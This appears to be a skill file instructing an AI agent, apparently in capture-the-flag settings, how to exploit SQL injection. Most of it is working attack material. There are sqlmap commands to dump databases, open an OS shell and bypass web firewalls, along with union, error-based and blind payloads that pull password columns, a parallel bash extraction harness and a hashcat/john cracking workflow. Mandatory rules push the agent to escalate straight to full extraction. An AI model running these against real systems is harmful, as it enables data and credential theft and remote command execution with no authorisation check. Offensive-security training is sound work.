| name | sqli |
| description | SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts. |
| metadata | {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"sql injection, sqli, sqlmap, union select, blind sql, boolean sql, time-based sql, error-based sql, stacked queries, information_schema, database dump, mysql, postgresql, mssql, sqlite, oracle, sql query, sql error, single quote, order by, group by"} |
SQL Injection
Exploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.
Detection
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt
sqlmap — Automated Exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/
Blind SQLi Fast-Path (MANDATORY when tag is blind_sqli)
When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:
- Run ONE time-based probe and ONE boolean differential in your first exploit bash call:
curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt
curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt
curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt
- If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:
sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \
--output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log &
- Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.
Manual-vs-Tool Decision Rule (MANDATORY)
Once SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:
| State | Action |
|---|
| SQLi confirmed, no extraction yet | Run sqlmap --batch -u "<URL>" --dump --threads=5 FIRST |
| sqlmap fails or is blocked (WAF, custom encoding) | Write ONE harness script (Python/bash) that does length-probe → binary-search → reconstruct in a single invocation |
| Harness produces partial output | LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness. |
| Harness completes with partial extraction | Submit/verify the partial result before launching a second harness |
Anti-pattern: iterating dozens of manual single-character curls when sqlmap --dump would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.
Hard rule: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.
Manual Techniques
Union-Based
ORDER BY 1
ORDER BY 2
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users
' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -
Error-Based (MySQL)
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -
Blind Boolean
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96
Blind Time-Based
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a',SLEEP(5),0)
'; WAITFOR DELAY '0:0:5'-- -
-- PostgreSQL
'; SELECT pg_sleep(5)
Blind SQLi — Bulk Extraction Strategies
When boolean-blind or time-blind is confirmed, character-by-character extraction is slow. Use these strategies to accelerate data retrieval.
Binary search (halving ASCII range)
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>64-- -
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>112-- -
Bit-by-bit extraction (7 requests per char, no false positives)
' AND (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>>6)&1=1-- -
-- Repeat for bits 6..0, reconstruct with: chr(sum(bit_n * 2^n))
Batch length check before extraction
' AND LENGTH((SELECT password FROM users LIMIT 1))>15-- -
' AND LENGTH((SELECT password FROM users LIMIT 1))=32
UNION-based fallback if error mode unlocks mid-session
' UNION SELECT NULL,password,NULL FROM users-- -
sqlmap turbo flags for blind (use only when manual PoC is confirmed)
sqlmap -u "http://target/page?id=1" --technique=BT --level=3 --threads=5 \
--dbms=mysql -D targetdb -T users -C username,password --dump --batch
Extraction priority order
- Schema names (
information_schema.schemata)
- Table names (
information_schema.tables WHERE table_schema=database())
- Column names (
information_schema.columns)
- High-value columns:
password, token, secret, api_key, flag
Post-Extraction Hash Cracking Workflow
When SQLi extraction yields a hash (MD5/SHA1/bcrypt/etc.), crack it IMMEDIATELY — do not custom-build a wordlist or guess variants manually:
HASH="<extracted_hash>"
echo "$HASH" > /tmp/crack.hash
for c in "admin" "password" "123456" "password123" "root" "toor" "letmein" "qwerty" \
"admin123" "test" "guest" "user" "changeme" "secret" "p@ssword"; do
echo -n "$c" | md5sum | grep -qi "${HASH}" && echo "MD5 MATCH: $c" && break
echo -n "$c" | sha1sum | grep -qi "${HASH}" && echo "SHA1 MATCH: $c" && break
echo -n "$c" | sha256sum | grep -qi "${HASH}" && echo "SHA256 MATCH: $c" && break
done
hashcat -a 0 /tmp/crack.hash /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null | head -5
john /tmp/crack.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-md5 2>/dev/null
john /tmp/crack.hash --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-sha1 2>/dev/null
john --show /tmp/crack.hash 2>/dev/null
APP_USER="admin"
for c in "${APP_USER}" "${APP_USER}123" "${APP_USER}!" "${APP_USER}@123" "${APP_USER}2024"; do
echo -n "$c" | md5sum | grep -qi "${HASH}" && echo "CONTEXT MATCH: $c" && break
done
Hard rule: Do NOT write a custom character-by-character brute-force loop. Use hashcat/john — they are 1000x faster. If the hash is bcrypt ($2b$), cost >12 makes cracking infeasible; pivot to finding a password-reset flow or auth bypass instead.
Blind SQLi: Parallel Character Extraction Blueprint
When sqlmap is unavailable or blocked and boolean/time-blind is confirmed, run character extractions in parallel — never sequentially.
TARGET_URL="http://<TARGET>/page?id="
TARGET_EXPR="(SELECT password FROM users LIMIT 1)"
for len in 16 32 48 64; do
resp=$(curl -s "${TARGET_URL}1' AND LENGTH(${TARGET_EXPR})=${len}--+-")
echo "$len: $(echo "$resp" | wc -c) bytes"
done
STR_LEN=32
WORKSPACE="$(pwd)"
mkdir -p "${WORKSPACE}/blind_chars"
for pos in $(seq 1 "$STR_LEN"); do
(
for ascii in $(seq 32 126); do
resp=$(curl -s "${TARGET_URL}1' AND ASCII(SUBSTRING(${TARGET_EXPR},${pos},1))=${ascii}--+-")
if echo "$resp" | grep -q "<KNOWN_TRUE_MARKER>"; then
echo "$ascii" > "${WORKSPACE}/blind_chars/pos_${pos}.txt"
break
fi
done
) &
(( (pos % 20) == 0 )) && wait
done
wait
python3 -c "
import os, glob
chars = {}
for f in glob.glob('${WORKSPACE}/blind_chars/pos_*.txt'):
pos = int(os.path.basename(f).replace('pos_','').replace('.txt',''))
chars[pos] = chr(int(open(f).read().strip()))
result = ''.join(chars[p] for p in sorted(chars))
print('Extracted:', result)
"
HARD RULE: Once string length is known, the NEXT bash call MUST launch the parallel extraction loop above — not a single-character sequential probe. Sequential extraction at 1 req/char on a 32-char secret = 32 round trips minimum; parallel at 20 concurrent = ≤2 rounds.